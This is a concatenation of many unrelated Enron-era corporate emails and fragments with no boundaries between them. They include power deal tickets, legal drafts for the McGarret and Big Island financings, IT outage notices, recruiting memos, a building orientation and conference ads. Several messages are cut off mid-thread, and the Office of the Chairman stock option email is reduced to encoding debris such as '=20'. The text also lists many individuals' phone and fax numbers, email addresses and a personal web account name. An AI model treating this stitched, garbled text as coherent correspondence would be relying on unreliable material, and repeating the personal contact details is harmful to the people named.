Start Date: 4/23/01; HourAhead hour: 13;  No ancillary schedules awarded.  No 

Schedules\2001042313.txt

missing deal for apb

dianna

buy dynegy
94.00
25 mw
10-30
mid c
on peak

please print all
---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 12/28/99 09:53 

Heather Kroll
12/28/99 08:49 AM
To: Janet R Dietrich/HOU/ECT@ECT, David W Delainey/HOU/ECT@ECT, Mark E 
Haedicke/HOU/ECT@ECT, James B Fallon/HOU/ECT@ECT, Elizabeth 
Sager/HOU/ECT@ECT, Christopher Smith/HOU/ECT@ECT, Michael L 
Fredell/HOU/ECT@ECT, Fred Cohagan/HOU/ECT@ECT, Berney C Aucoin/HOU/ECT@ECT
cc:  
Subject: Fwd: Transaction Documents

---------------------- Forwarded by Heather Kroll/HOU/ECT on 12/28/99 08:46 

"STEPHEN POLAKOFF" <SKPOLAKO@LLGM.COM> on 12/28/99 08:10:35 AM
To: Chris Gaffney/HOU/ECT@ECT, Chris Gaffney/HOU/ECT@ECT, Daniel 
Allegretti/HOU/EES@EES, Heather Kroll/HOU/ECT@ECT, Jeffery Ader/HOU/ECT@ECT, 
Ozzie Pagan/HOU/ECT@ECT, opagan@gateway.net, gnowak@sidley.com, 
Mike.Coretto@uinet.com, tony.vallillo@uinet.com, cxb@wiggin.com, 
LR1@wiggin.com, wcb@wiggin.com
cc:  

Ladies and Gentlemen,

Date: Tue, 28 Dec 1999 07:42:55 -0500
From: "John Klauberg (BARBARA MOTTER)" <BMOTTER@LLGM.COM>
To: CGaffne@enron.com,chris.gaffney@enron.com, dallegre@enron.com, 
hkroll@enron.com, jader@enron.com, opagan@enron.com, opagon@gateway.net, 
gnowak@sidley.com, mike.coretto@uinet.com, Tony.Vallillo@uinet.com, 
cxb@wiggin.com, LR1@wiggin.com, wcb@wiggin.com
Cc: AJCHAMBE@LLGM.COM,JKLAUBER@LLGM.COM, SKPOLAKO@LLGM.COM, TMOORE@LLGM.COM
Subject: Transaction Documents
Content-Type: multipart/mixed; boundary="=_0C5551F0.E786CE7D"

Per Chris Gaffney's request, attached for your review are blacklines of all 
of the transaction documents.  With respect to these "near final" drafts, 
please note the following:  (i) the Enron Corp.  Guaranty and the form of UIL 
Guaranty are being sent separately as well as part of the WPSA to highlight 
changes made to those documents from the prior drafts (they will appear 
completely underlined as Schedules to the WPSA); (ii) we have incorporated 
much of the comments from Wiggin & Dana with respect to Section 2.2 of the 
PPA Entitlements Transfer Agreement and Schedule 4 to the WPSA, but the new 
text may still need some tinkering with, particularly since the retention of 
the power entitlements by UI (coupled with the payment of the sale proceeds 
to EPMI) required a flow through of some conforming changes throughout the 
PETA; and (iii) the attached side letter relating to the RESCO Power pricing 
has not been reviewed by Enron as of this e-mail.  If you have any questions, 
please do not hesitate to contact Stephen Polakoff at 212-424-8350.

 - #439609 vRED - WPSA Current.rtf
 - #315263 vRED - Enron Corp Guaranty under WPSA.wpd
 - #315380 vRED - UIL Guaranty under WPSA.wpd
 - #315918 vRED - LOOK FORWARD NUCLEAR AGREEMENT.wpd
 - #316115 vRED - LETTER AGREEMENT TO UI AND ENRON.wpd
 - #316814 v1 - Side letter re RESCO.wpd
 - #281430 vRED - PPA Entitlements Transfer Agreement.wpd

I'm glad you like your gifts.  I got tired of waiting on my assistant so I 
took up sewing (for Hector) and metal working type stuff for your goodies.  
I'm helping Joanie move to Maryland this weekend.  I'm out Friday, Monday, 
and Tuesday.  

AND I've been putting photo's on the web.  I bought a digital camera.  Take a 
look .  Go to ==>  http://www.cartogra.com/home/home.asp
Then go to the box in the bottom right side of the screen where it says "new 
to cartogra?".  Enter my account name "trogg522" in the space beneath and 
click on the arrow.

Later :o)

"Immer, Ingrid" <Ingrid.Immer@Williams.com> on 09/11/2000 04:30:04 PM
To: "'cgerman@enron.com '" <cgerman@enron.com>
cc:  
Subject: 

Hi Chris, 

I just called you a while ago and they said you'd call me back.? I may not be 
at my phone when you call because I'm at my other desk for the rest of the 

I called to thank you for the goody package I received this afternoon.? 
Hector likes his golf shirt and my pen and pencil are very nice.? I've 
already tested them both.

I'm going to be visiting the New York customers this week and I'll probably 
take my new pen and pencil with me, if I can figure out a way to cover up the 
Enron part.

Hope you are well.? Let's talk soon so we can act like tomatoes and catchup.? 
:) 

Take care.?? ii 

See the attached.

Mary Cook

When: Friday, April 13, 2001 2:00 PM-3:00 PM (GMT-06:00) Central Time (US & 
Canada).
Where: EB2737

Hello all--

Meeting to discuss:
 Net Works Legal Docs "Current Status"
 Procedure for keeping a fresh status update
 Specific permissions/prohibitions of each type of legal doc

Thank you.

Stephanie Segura
x37430

This date change means that I won't be able to make it to the open house.  I 
will be out of town on April 27.  

To catch everyone up, we have changed the Danno C transaction to McGarret D.  
The debt and equity received by the trust in McGarret D will be used to repay 
the McGarret B series, which will then be terminated, and the excess funds 
will go to Enron pursuant to the Total Return Swap executed in connection 
with the McGarret B closing.

Attached, in WordPerfect format, for immediate execution are the following 
three documents:

Asset Notice (258187) (clean and marked against latest draft);
Prepayment Notice w/respect to McGarret B (259570) (clean); and
Direction Letter to Owner Trustee (258312) (clean and marked against latest
     draft.

Gina Karanthanos - Please (i) coordinate with Charles to determine the final 
debt and equity amounts for Series McGarret D, (ii) complete the blanks in 
the Asset Notice and the Direction Letter, (iii) send an executed, clean copy 
of the Asset Notice to Mercy Arango, and (iv) send a clean copy of the 
Direction Letter to Mercy Arango for execution.

Mercy Arango - When you have the clean copy of the Direction Letter (or 
alternatively know the amounts to fill in as debt and equity), please execute 
the Direction Letter and fax the executed copy directly to:

     (i) Ann Roberts (fax 302-427-4749; phone 302-651-8681),
     (ii) Glen Kenton (fax # 302-658-6548; phone 302-651-7726),
     (iii) Muriel McFarling (fax 214-659-4784; phone 214-659-4461), and
     (iv) Gina Karanthanos (fax 713-853-9252; phone 713-853-3376)

Ann Roberts/Glen Kenton - When you receive the executed copy of the Direction 
Letter, please execute the Prepayment Notice (attached to this e-mail as doc 
#259570) and fax the executed notice immediately to:

     (i) Mercy Arango (fax 212-885-4909; phone 212-856-3862),
     (ii) Muriel McFarling (fax 214-659-4784; phone 214-659-4461), and
     (iii) Gina Karanthanos (fax 713-853-9252; phone 713-853-3376)

I will be out of the office tomorrow, and will therefore not be available to 
coordinate the delivery of the above documents.  If you have any questions, 
comments or concerns, please call David Barbour at 214-659-4444.

 - 258312rl.wpd
 - 258187rl.wpd
 - 258312.wpd
 - 258187.wpd
 - 259570.wpd

You make it sound like you are going away for good.  I'll see you when you 
come back.

Audrey Cook
12/05/2000 01:39 PM
cc:  
Subject: Re: CGAS deal 213360  

Well, they put me on this special audit team to research anything that Chris 
Germany transacted.  (Not really, just kidding!!!)  

I just decided that it is time for a change and an opportunity came up.  I 
was in Gas Settlements for a little over a 1 1/2.  Don't worry, Mary will 
take care of you!!  By the way, Darla Saucier will be handling the The New 
Power Company counterparty.  Please work w/ Darla and Mary for November, 2000 
business.  It was fun working w/ you.  Take care.

Chris Germany
12/05/2000 01:26 PM
To: Audrey Cook/HOU/ECT@ECT
cc:  

Why did you go to power?  Are you going to look for some of the mistakes I 
made back in 1994??

Hi Marc,

Tana Jones from our legal department  just called me and said that before I 
sent Wesley Fredricks information over to her, Andrew O Connor returned her 
phone call and is now expecting the document from us. You may receive an 
email from her to try to sort this out. Thanks a lot.

Savita

Marc Mellman <MMellman@natsource.com> on 07/25/2000 03:45:28 PM
To: "'Savita.Puthigai@enron.com'" <Savita.Puthigai@enron.com>
cc:  

Subject: RE: Confidentiality Agreement

To follow up, the complete info for Mr. Fredericks is as follows:
Wesley C. Fredericks, Jr.
Dorsey & Whitney LLP
250 Park Avenue
New York, NY 10177
212-415-9263
212-953-7201 fax

From: Savita.Puthigai@enron.com [mailto:Savita.Puthigai@enron.com]
Sent: Tuesday, July 25, 2000 4:45 PM
To: Marc Mellman
Subject: Re: Confidentiality Agreement

I maybe mistaken but I think Jack had given me the name of Andrew O Connor
(tel 212-286-1234 ) as your attorney. I hust want to make sure that Wesley
Fredricks is the person we need to sen it to. Please let me know.

Savita

Marc Mellman <MMellman@natsource.com> on 07/25/2000 03:30:57 PM

To:   "'Savita.Puthigai@enron.com'" <Savita.Puthigai@enron.com>
cc:   "Jack D. Cogen" <jcogen@natsource.com>,
      "'fredericks.wesley@dorseylaw.com'" <fredericks.wesley@dorseylaw.com>

Subject:  Confidentiality Agreement

Our attorney is Wesley Fredericks, Esq.  His e-mail address is:
fredericks.wesley@dorseylaw.com.  You may forward the document to Mr.
Fredericks by e-mail.
Marc Mellman

F O R

May 18, 2001 5:00pm through May 21, 2001 12:00am
                
INTERNET: 
Impact:  Internet
Time:  Fri 5/18/2001 at  10:30:00 PM CT thru Fri 5/18/2001 at  11:30:00 PM CT
 Fri 5/18/2001 at    8:30:00 PM PT thru Fri 5/18/2001 at    9:30:00 PM PT
 Sat 5/19/2001 at  4:30:00 AM London thru Sat 5/19/2001 at  5:30:00 AM London
Outage:  Upgrade IOS on ENEFW4
Environments Impacted:  Internet
Purpose: The new code has bug fixes and stateful failover feature.
Backout: Revert back to old IOS.
Contact(s):  John Shupak          713-853-7943
  Bryan Aubuchon    713-345-8446
 
Time:  Fri 5/18/2001 at  9:00:00 PM CT thru Sat 5/19/2001 at  1:00:00 AM CT
 Fri 5/18/2001 at  7:00:00 PM PT thru Fri 5/18/2001 at  11:00:00 PM PT
 Sat 5/19/2001 at  3:00:00 AM London thru Sat 5/19/2001 at  7:00:00 AM London
Contact(s):  Trey Rhodes  (713) 345-7792  
        
Impact:  EI
Contact(s):  David Ricafrente    713-646-7741
 
MARKET DATA: 
Time:  Wed 5/16/2001 at  4:45:00 PM CT thru Wed 5/23/2001 at  4:45:00 PM CT
 Wed 5/16/2001 at  2:45:00 PM PT thru Wed 5/23/2001 at  2:45:00 PM PT
 Wed 5/16/2001 at  10:45:00 PM London thru Wed 5/23/2001 at  10:45:00 PM 
London
Outage:  Market Data Cable Management EB3460
Environments Impacted:  All Trading Groups
Purpose: Improve computer room environment.  Perform cable management in 
order to comply with computer room standards.
Contact(s):  John Sieckman    713-345-7862
 
Impact:  Corp, OTS, ETS    
DATE:  MAY 29, 2001/2/2001 at  5:30:00 PM
Outage:  Migrate DSS Server to GTHOU-APPSQ03P
Environments Impacted:  DSS users will not be able to access the old server 
(ENEDS01_ADAPT)after this date
Purpose: The existing server is outdated, migrating to SQL 2000 provides 
increased 
functionality and conforms to database platform requirements.   
Backout: 
Contact(s):  Mary Vollmer          713-853-3381
  Joe Hellsten           713-853-7346      713-545-4164

Time:  Sat 5/19/2001 at  10:00:00 AM CT thru Sat 5/19/2001 at  4:00:00 PM CT
 Sat 5/19/2001 at    8:00:00 AM PT thru Sat 5/19/2001 at  2:00:00 PM PT
 Sat 5/19/2001 at  4:00:00 PM London thru Sat 5/19/2001 at  10:00:00 PM London
Outage:  Moving Production Database TDSPROD
Purpose: This database is being moved to give the space it is currently using 
to the Enpower database on that server.  The new server Refraction will also 
allow TDSPROD to expand as well.
Backout: The old instance will be restarted and the TNSNAMES.ORA entry will 
be changed to point at the old instance.
Contact(s):  John Jahnke    713-345-4398
                      
Time:  Sat 5/19/2001 at  9:00:00 PM CT thru Sun 5/20/2001 at  12:00:00 AM CT
 Sat 5/19/2001 at  7:00:00 PM PT thru Sat 5/19/2001 at   10:00:00 PM PT
 Sun 5/20/2001 at  3:00:00 AM London thru Sun 5/20/2001 at  6:00:00 AM London
Outage:  Resource addition for server moe.
Environments Impacted:  Sitara, PEP, Global
Purpose: Server is memory and cpu constrained.
Backout: Shutdown the server and revert to old configuration.
 
SITARA:   Also see above 
Time:  Sat 5/19/2001 at   2:00:00 PM CT thru Sun 5/20/2001 at  12:00:00 AM CT
 Sat 5/19/2001 at 12:00:00 PM PT thru Sat 5/19/2001 at   10:00:00 PM PT
 Sat 5/19/2001 at  8:00:00 PM London thru Sun 5/20/2001 at  6:00:00 AM London
Outage:  Resource additionto Sitara server aurora.
Environments Impacted:  Sitara production
Purpose: Add needed cpu and memory.
Backout: Remove the newly added resources and restart under the old config.
 
UNIFY:  
Time:  Fri 5/18/2001 at  3:00:00 PM thru Sun 5/20/2001 at  11:45:00 PM
Outage:  Unify Power Production Server Maintenance
Environments Impacted:  Unify Users
Purpose: Infrastructure required maintenance
Backout: 
Contact(s):  Brian Ripley          713-345-4709
  Charles Ballmer    713-853-0684
  Bob Ward              713-345-4409 

SCHEDULED SYSTEM OUTAGES: Australia
Time:  Sat 19-May-2001 at  10:00:00 AM Sydney thru Sat 19-May-2001 at 3:00:00 
PM Sydney
 Sat 19-May-2001 at  1:00:00 AM GMT (London) thru Sat 19-May-2001 at  6:00:00 
AM GMT (London)
 Fri 5/19/2001 at  7:00:00 PM CT (Houston) thru Sun 5/20/2001 at  12:00:00 AM 
CT (Houston)
 Fri 5/19/2001 at 5:00:00 PM PT (Portland)  thru Sat 5/19/2001 at  10:00:00 
PM PT (Portland) 
Outage: Sydney UPS Test & Service
Environments Impacted:  Corp Sydney - all systems
Purpose: Original UPS needs testing & service. Will require Server Room to be 
de-powered to allow maintenance.
Backout: Plug equipment into unconditioned power.
Contact(s):  Colin Wood    +61-416-248-353
  Elliott Katz +61-292-292-309

-------------------------------------------------------

SAP/ISC                                                                       

Tricia, thank you for Kay Mann's  refund in the amount of $500 for the 
above-referenced seminar.  The cost of the seminar, however,  was $595.  I 
cancelled this seminar two days before the cancellation deadline of March13, 
2001 (cancellation number X197033661), but Kay was still charged the $95 
cancellation administrative fee.  Please advise when she can expect this $95 
to be credited to her American Express card.  

Thanks, Suzanne Adams

Attached, in WordPerfect format are the following documents, marked against 
the previous draft circulated::

Closing Checklist (258185)
Series Certificate (258191)
Series Supplement (258196)
Drawdown Request (258198)
Total Return Swap Confirmation (258201)
Put Option Agreement (258202)
Put Option Assignment (258215)
Notice of Put Option Assignment (258218)
Second Amended & Restated LLC Agreement of McGarret IV (258239)
Second Amended & Restated LLC Agreement of Big Island IV (258206)
Receipt of Trust (258270)
Independent Auctioneer Letter Agreement (258302)
Am. No. 1 to Sale & Auction Agreement (258307)
Direction Letter to Owner Trustee (260012)

PLEASE NOTE THAT, AT THE REQUEST OF SEVERAL MEMBERS OF THE WORKING GROUP, I 
AM ALSO SENDING THESE DOCUMENTS MARKED AGAINST MCGARRET C.

Please call or e-mail if you have any questions.

Muriel C. McFarling
(214) 659-4461
(214) 659-4784 (fax)

 - 260012.wpd
 - 258191.wpd
 - 258196.wpd
 - 258198.wpd
 - 258201.wpd
 - 258202.wpd
 - 258215.wpd
 - 258218.wpd
 - 258239.wpd
 - 258260.wpd
 - 258270.wpd
 - 258302.wpd
 - 258307.wpd
 - 258185.wpd

THIS IS BEAUTIFUL!
----- Forwarded by Nytasha Sims/HOU/Dynegy on 01/30/02 10:53 AM -----

                      LaShawna Y
                      Atkinson                 To:       Andrea Y McCathy/HOU/Dynegy@Dynegy, Nytasha Sims/HOU/Dynegy@Dynegy
                                               cc:
                      01/30/02 10:35 AM        Subject:  Spiritual African-American Woman

----- Forwarded by LaShawna Y Atkinson/HOU/Dynegy on 01/30/02 10:33 AM
-----

                      Tammy Riley
                                               To:
                      01/30/02 10:11 AM        cc:       (bcc: LaShawna Y Atkinson/HOU/Dynegy)
                                               Subject:  Spiritual African-American Woman

(See attached file: Spiritual_Woman.pps)

 - Spiritual_Woman.pps 

Attached is a revised Credit Watch listing for the week of 5/14/01.   
For other questions, please contact Jason R. Williams at x5-3923, Russell 
Diamond at x5-7095, or Veronica Espinoza at x6-6002.

Please come to the following.

Thanks
From: 	Wilson, Shona  
Sent:	Wednesday, January 23, 2002 10:30 AM
To:	Wilson, Shona; Albrecht, Kristin; Gorny, Vladimir; Thapar, Raj; Sweeney, Kevin; White, Stacey W.; Gossett, Jeffrey C.
Subject:	reconciliation of 1130 form A's to DPR 
When:	Wednesday, January 23, 2002 4:00 PM-5:00 PM (GMT-06:00) Central Time (US & Canada).
Where:	4th floor room tbd

Carla just changed this deal - must have defaulted to no confirm. We do want 
it to be confirmed, and the deal has been changed to reflect that in Enpower.

Thanks,
Kate

	From:  Sharen Cason                           01/22/2001 07:07 AM
	
cc:  

Subject: #500966

This deal is input not to be confirmed.  Can you check into this and indicate 
why it should not be confirmed.

Thanks!

eSource now offers free 
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Obtain password and view reports  at  http://esource.enron.com/hot_topics.asp
and 
eSource is pleased to offer a valuable report issued by Forrester Research entitled 

"Spending Wisely on Private Hubs ". 
Issued July, 2001 
Valued at $2,000, the report is available for free viewing and download until September 12, 2001,  
by all Enron employees and business units.
 This report details ways to determine private hub strategy based on the six key drivers of hub payoffs. 

Download report at  http://esource.enron.com/hot_topics.asp

***
Visit eSource's Hot Topics page often for more reports, services, announcements and news.

<Embedded Picture (Metafile)>

Everyone in RAC is invited to attend Underwriting mtg on Friday at 10:30 am. 
Rick

Just wanted to thank you for your help with my pay check last week.  it was 
greatly appreciated.  I am so tired. I didn't get to bed until 1am last night 
and had to be here at 5:30.  YUCK! 

Dave,

Thanks for the invitation. I shall be glad to join you at the dinner 
and on Saturday.
I shall come alone: my wife will stay with my son in California
till June (my son graduates this spring from college).

I shall remind Andy Fastow about NFCF.

Vince

David Ikenberry <daveike@rice.edu> on 03/30/2001 06:57:57 PM
To: "vkamins@ennron.com" <vkamins@enron.com>
cc:  
Subject: 

Vince,
It was good seeing you again today.  I want to make sure the NFCF is on
your calendar for May 4-5.   You should be receiving some registration
materials shortly.

Please plan on coming if you can.
Also, please attend the dinner on Friday evening along with your wife if
possible.

Regards,
Dave

***********************************
Prof. David Ikenberry
Jones Graduate School of Management
713-348-5385

Memorial Services at Ashford UMC
 
Saturday, January 19, 2002, at 4:00 p.m.
for Corinne Lindgren "Karin"  (Alyce Johnson's aunt)
 
Thursday, January 24, 2002, at 2:00 p.m.
Lee Garrett

---------------------- Forwarded by Darron C Giron/HOU/ECT on 03/21/2001 
02:23 PM ---------------------------
   
	From:  Jennifer Nguyen @ ENRON                           03/13/2001 05:21 PM
	
To: Darron C Giron/HOU/ECT@ECT, Phillip M Love/HOU/ECT@ECT, Kam 
Keiser/HOU/ECT@ECT
cc: Jeffrey C Gossett/HOU/ECT@ECT, Cassi Wallace/Corp/Enron@Enron 
Subject: February Curve Validation

Hi guys --

Hopefully these curves are covered between the three of you!  Attached are 
the 10 curves reviewed for the month of February.  Of these 10, the curves in 
question are:

NGI-PGE TOPOCK
IF-HEHUB
IF-VALERO TX
IF-NNG TOK
IF-TW PERMIAN
IF-TRANSCO Z1
IF-TENN Z5

If you could, please identify the factors that are driving their drastic 
changes in shape and seasonality as compared to the prior month.  Please do 
not hesitate to contact me with any questions.

Thanks,
Jennifer
x5-7590

Gentlemen,

TurboPark closed today, effective tomorrow upon funding.  

Thanks for 

These were filed June 25 per Chairman Hebert's request.

Linda, please forward to the RTO group.

---------------------- Forwarded by Charles Yeung/HOU/ECT on 06/25/2001 04:52 

06/25/2001 04:50 PM
Darran Binns@ENRON
Sent by: Darran Binns@ENRON
To: Charles Yeung/HOU/ECT@ECT
cc:  

Subject: FERC Document

My only comment would be to suggest that the Password Application and 
registration form be referred to as "available online".  Describing them as 
"online" forms may lead some to believe that they can be filled out and 
submitted online while in fact the Password Application must be printed out 
and signed before being sent to us.

Mark

Leonardo Pacheco@ENRON
04/28/2000 01:05 PM
To: Mark Taylor/HOU/ECT@ECT, Jay Hawthorn/Enron Communications@Enron 
Communications, Cynthia Harkness/Enron Communications@Enron Communications, 
Jean Mrha/Enron Communications@Enron Communications
cc: David Forster/Corp/Enron@Enron, Julie Ferrara/HOU/ECT@ECT, Kal 
Shah/HOU/ECT@ECT 
Subject: Bandwidth Launch on EOL Website Ticker Text

Please review the  attached document (bandwidth launch ticker text) and send 
me your comments. 

Your prompt response is appreciated.

Thank you!

Leonardo Pacheco

Anything we can do?
---------------------- Forwarded by Grant Masson/HOU/ECT on 09/15/2000 08:34 
   
	From:  Toni Graham @ ENRON                           09/14/2000 07:36 PM
	
To: Grant Masson/HOU/ECT@ECT
cc: Norma Villarreal/HOU/ECT@ECT 
Subject: Re: Rabi De  

Grant,  I did talk with Tanya this evening however since I'm on vacation 
Friday I wanted to outline here what Rabi has discussed with me.

1)  Title.....he is currently at a VP level and we are offering him Manager
2)  Sign on Bonus...........the 15K is not coving the lost bonus he will 
receive at he current co ($25K)
3)  Salary...........he will receive a "Risk Premium" of approx 10% befor 
tax.   He is not able to quantify this for us and I was not able to get a 
number out of him as to what he is looking for.  

He is very enthusiastic and wants to work for Enron but wanted to see if we 
could do anything to enhance our offer in these areas.

Toni 

	From:  Grant Masson @ ECT                           09/14/2000 08:58 AM
	
To: Toni Graham/Corp/Enron@ENRON
cc:  

Toni:

I am talking to Vince today.  Please call me if there are any further 
developments I should know about.

Regards,
Grant.

We have received an executed First Amendment to ISDA Master Agreement by and 
between Sacramento Municipal Utility District and Enron North America Corp. 
dated effective as of April 26, 2001, which attaches a Credit Support Annex 
to the existing Master Areement and amends certain other provisions in the 
Schedule.

---------------------- Forwarded by Judy Townsend/HOU/ECT on 06/29/2000 12:=
37=20
 Office of the Chairman
From: Office of the Chairman@ENRON on 06/29/2000 11:46 AM
To: ESOP All Enron N. A.
cc: =20
Subject: EnronOptions - Your Stock Option Program

=20
e=20
e are=20
=20

he=20
e=20
=20

=20
=20
=20
ed=20

=20
It is=20
=20
le=20
=20

t=20

ption=20

=01)=20
s,=20
=20
ur=20

ing=20
=20
=20
on=20
labor=20
ne=20
=20
determined on December 29, 2000. =20

I am sorry I did not get to you first and let you know.  My apologies.  I really appreciated your interest in the position and your commitment to ETS.  You are a quality individual and I respect you for that.  Thanks.

From: 	Holmes, Bradley  
Sent:	Thursday, November 15, 2001 4:52 PM
To:	Horton, Stanley
Subject:	Thank you

Stan:  

Shelley informed me this morning that it has been decided that Steve Hotte will remain at EGS as the CIO.  I wanted you to know that I believe this decision is the best outcome for your organization at this time.  

In addition, I wanted to express my appreciation for considering me for the CIO position.  Although I have been at Enron a short time, I am pleased that I have the support of your management team and have exhibited to them that I have the capabilities of operating at the officer level.  

As we go through the inevitable changes that will occur through the merger, you have my commitment that I will focus my team on their ETS projects.  I truly believe we can impress Dynegy with our outstanding pipeline operations and our strategic initiatives.  

Thank you,

Brad Holmes     

Power Projects on the Decline (At Least in the Near Term);
Opportunities for Consolidation May Increase (Scientech IssueAlert) 
(Click on link below to view full article)
 
There's just over two weeks to go before CBI's 6th Annual "Profit from Merchant Plants" conference, which will be held on January 28-29, 2002 in Houston, TX.  Take advantage of this chance to put the questions at the forefront of everyone's mind to senior players from the merchant power industry - their prognoses for the industry, their personal opinions of how Enron's departure will change the face of the market and what they and their companies are going to do to ensure they survive in a market downturn. Meet the author of the article above to discover the analysts' outlook for the industry and the prospects for the industry to emerge from the current boom-bust cycle. Book now to guarantee your place at this timely event and enter the merchant power debate...
To register or for more information on CBI's 6th Annual "Profit from Merchant Plants" conference, please call Luci Santillo toll free at 800-817-8601, e-mail l.santillo@cbinet.com or visit our website at http://www.cbinet.com/events/pb207/index.html   Mention priority code, PB207SCEM when registering and SAVE $300! (This is not to be combined with any other offer or discount and is for new registrations only.)
 
Click on the following link to view the  full article ......
 
If you received this e-mail in error or would like to be removed,  PLEASE CLICK HERE 
0000639675 

print
---------------------- Forwarded by Jeffrey A Shankman/HOU/ECT on 10/10/2000 
   
	From:  Clayton Seigle                           10/10/2000 10:03 AM
	
To: Gary Hickerson/HOU/ECT@ECT, John L Nowlan/HOU/ECT@ECT, Jeffrey A 
Shankman/HOU/ECT@ECT, John J Lavorato/Corp/Enron@Enron
cc: Scott Tholan/Corp/Enron@Enron, Robert Johnston/HOU/ECT@ECT 
Subject: Mideast Crisis

9/26       3:00-5:00

Thank you
---------------------- Forwarded by Hunter S Shively/HOU/ECT on 09/08/2000 
   
	From:  Amanda Huble @ ENRON                           09/07/2000 03:30 PM
	
To: Hunter S Shively/HOU/ECT@ECT
cc:  
Subject: 

---------------------- Forwarded by Amanda Huble/NA/Enron on 09/07/2000 03:29 

Hunter S Shively@ECT
09/05/2000 09:17 AM
To: Amanda Huble/NA/Enron@Enron
cc:  

Subject: 

Please call Celeste and elect 9/29/00 from 3:00-5:00 and mark on my calendar.

Thank You 
---------------------- Forwarded by Hunter S Shively/HOU/ECT on 09/05/2000 

Celeste Roberts
08/29/2000 06:21 PM
To: Celeste Roberts/HOU/ECT@ECT
cc:  (bcc: Hunter S Shively/HOU/ECT)
Subject: 

URGENT

The Associate and Analyst Recruiting Department will be conducting a number 
of two hour workshops to review our recruiting and interview process for the 
fall on-campus recruiting effort.  Critical information regarding our 
on-campus interview process, revised evaluation forms and program structure 
will be reviewed during these two hours sessions.

It is mandatory that all team members attend these workshops.  All team 
members must attend in order to articulate and demonstrate the Enron 
recruiting process.  Knowing how busy schedules are, we have made 
arrangements to present these workshops in two hours sessions for a total of  
40 workshops that will run during the last week of August, through the month 
of September and end at mid October.

Listed below are the dates, location and times for each session.  Please 
select a date and time and e-mail this information to my assistant, Dolores 
Muzzy.  We can accommodate 25 participants at a time.  Dolores will take 
dates and times on a first come, first serve basis.  We have scheduled enough 
sessions to accommodate every member of both the Associate and Analyst 
recruiting teams.

In order to participate in the recruiting process, you must attend one of 
these sessions.  We will be tracking participation.  CPE credits will also be 
given for attending this workshop.

There will be a US Regulatory call on Tuesday, November 14th at 3 PM.  See
below for details.

DIAL IN#: 888-904-9318
PASSCODE:  USREG
LEADER:      Ms Stacy Carey

Lost Items:  
A cell phone and pair of glasses were found after the conference. Contact 
Sara Davidson, if either of these items belongs to you.

Presentation Materials:
The guest speaker presentations will be available at the Enron Law Conference 
website by the end of this week. The website is at 
http://lawconference.corp.enron.com/. These materials can be found under the 
Conference Schedule or . Through the icons on the left hand side the files 
can be either launched and printed from the website, or the documents can be 
sent to you via email.  

Enron Legal Edge Availability: 
Due to technical problems, the Enron Legal Edge will not be available till 
later this week. An email will be sent out to all users when the site is 
running and available. Sorry, for the delay.

please see below financial info received from aquila.

----- Forwarded by Debra Perlingiere/HOU/ECT on 05/18/2001 04:17 PM -----

	"Stanley, Susan" <sustanle@utilicorp.com>
	05/10/2001 11:57 AM
		 
		 To: "'dperlin@enron.com'" <dperlin@enron.com>
		 cc: "Dirks, Kathleen" <KDirks@utilicorp.com>
		 Subject: Replacing Guaranty

Hi Debra;
Attached are documents for your review regarding Aquila's request of Enron
to amend our current Gas contract to replace/assign the UtiliCorp
responsibilities to Aquila, Inc.
I have sent along for your review, the supporting documentation from both
Moody's and S&P regarding the Aquila credit rating, the Secretary of State
filing/order showing Aquila's name change, our underlying contract and a
proposed amendment for your review/execution.

It appears that this amendment is necessary because there has been a delay
in the execution of a new contract which would have removed UtiliCorp as a
party.

Because of the Aquila spin off, we are under a significant time constraint
to remove UCU from all Aquila contracts.

If you have any questions regarding this, please do not hesitate to contact
me.

Susan Stanley
Aquila
Contracts
816-527-1344
sustanle@utilicorp.com

 <<name change Sec. of State.tif>>  <<Moody's Assigns Issuer Rating to
Aquila Energy Corporation.htm>>  <<SP.doc>>  <<Amendment to Enron K - UCU
project.doc>>  <<Enron NA Gas contract.tif>>

 - name change Sec. of State.tif
 - Moody's Assigns Issuer Rating to Aquila Energy Corporation.htm
 - SP.doc
 - Amendment to Enron K - UCU project.doc
 - Enron NA Gas contract.tif

Welcome to Enron Center South. As you have probably already noticed, things look a little different here. We wanted to orientate you to your new environment and inform you about the future technology coming on-line in the coming weeks. 

Occupancy Guidebook To Enron Center South
You will find this handy guide on your desk; it contains information concerning the enhanced printer environment, the new easy access keyboards and telephony procedures.

NEC Monitors
The NEC monitors have an internal anti-glare screen to help reduce eye strain and eliminate the need to install an additional screen cover.  Additionally, an integrated speaker has been installed on one monitor for each desk.

Turret Users
An "Alliance MX turret quick reference guide" has been placed on your desk; this includes important information about the new features such as "Caller ID" and "Voicemail Indication".

Increased Information Access
There are many NEC 50" Plasma screens installed on the 5th and 6th floors.  While many of these will be displaying information designed for the specific unit, others will be displaying various television channels.  The audio to these television channels can be accessed via any of your telephony equipment.  Here's how:

Ten audio channels have been set up for access from your either your Avaya telephone, Stentophon, or IPC Turret.  The channels have been defined on Page 15 of your Turret.  To access the audio from either your Avaya or Stentophon, simply dial the extensions shown in the table below:
 
Channel	Avaya	Stentophon	
Weather Channel	12401	801	
CNN Headlines News	12402	802	
CNN Financial News	12403	803	
CNBC	12404	804	
MSNBC	12405	805	
Bloomberg	12406	806	
Financial News Network	12407	807	
CNN	12408	808	
Fox Sports	12409	809	
ESPN1	12410	810	

Wireless Telephony
You may notice the cellular phone coverage is not consistent across the floor, and some areas have virtually no coverage at all.  We are implementing a multi-network "in-building" system to provide consistent high quality service for the campus, keeping you in touch while you are on the move.  

Wireless LAN
The infrastructure to support Wireless LAN technology is in place and is being tested. We will be implementing multi level encryption and security to keep our intellectual property safe from eavesdroppers or hackers.

Amtel Replacement
As a move to provide a more flexible "Plug n Play" environment and to help with the reduced desk footprint, we have replaced the Amtel message boxes with Microsoft Exchange Instant Messaging. The Global Messaging Team is testing additional software products to provide some of the features not available with Exchange Instant Messaging; these include one-touch response keys, external LED display, and printing.  Updates will be provided as they become available.

Keeping an Open forum
We will keep you informed of the changes and developments as the migration to the building continues, please feel free to respond with any comments, queries or suggestions to  mailto:Enron.Center.South.Technology@enron.com

This has the people I would like to keep from other groups also.

I elimated the poor performers that need to go out the door.

call me 

bob

Robert,

Please be advised that Japan already has ETA's and PA's.

It costs approx. GBP 15,000 to add each new country. Please let us know which 
ones you are happy to have charged to your RC and we'll commence legal due 
diligence on any you specify.

Dave

Robert Quick@ECT
06/14/2000 01:36 PM
To: Amita Gosalia/LON/ECT@ECT, David Forster/Corp/Enron@Enron
cc: Edmund Cooper/LON/ECT@ECT, Mark Taylor/HOU/ECT@ECT, Pierre 
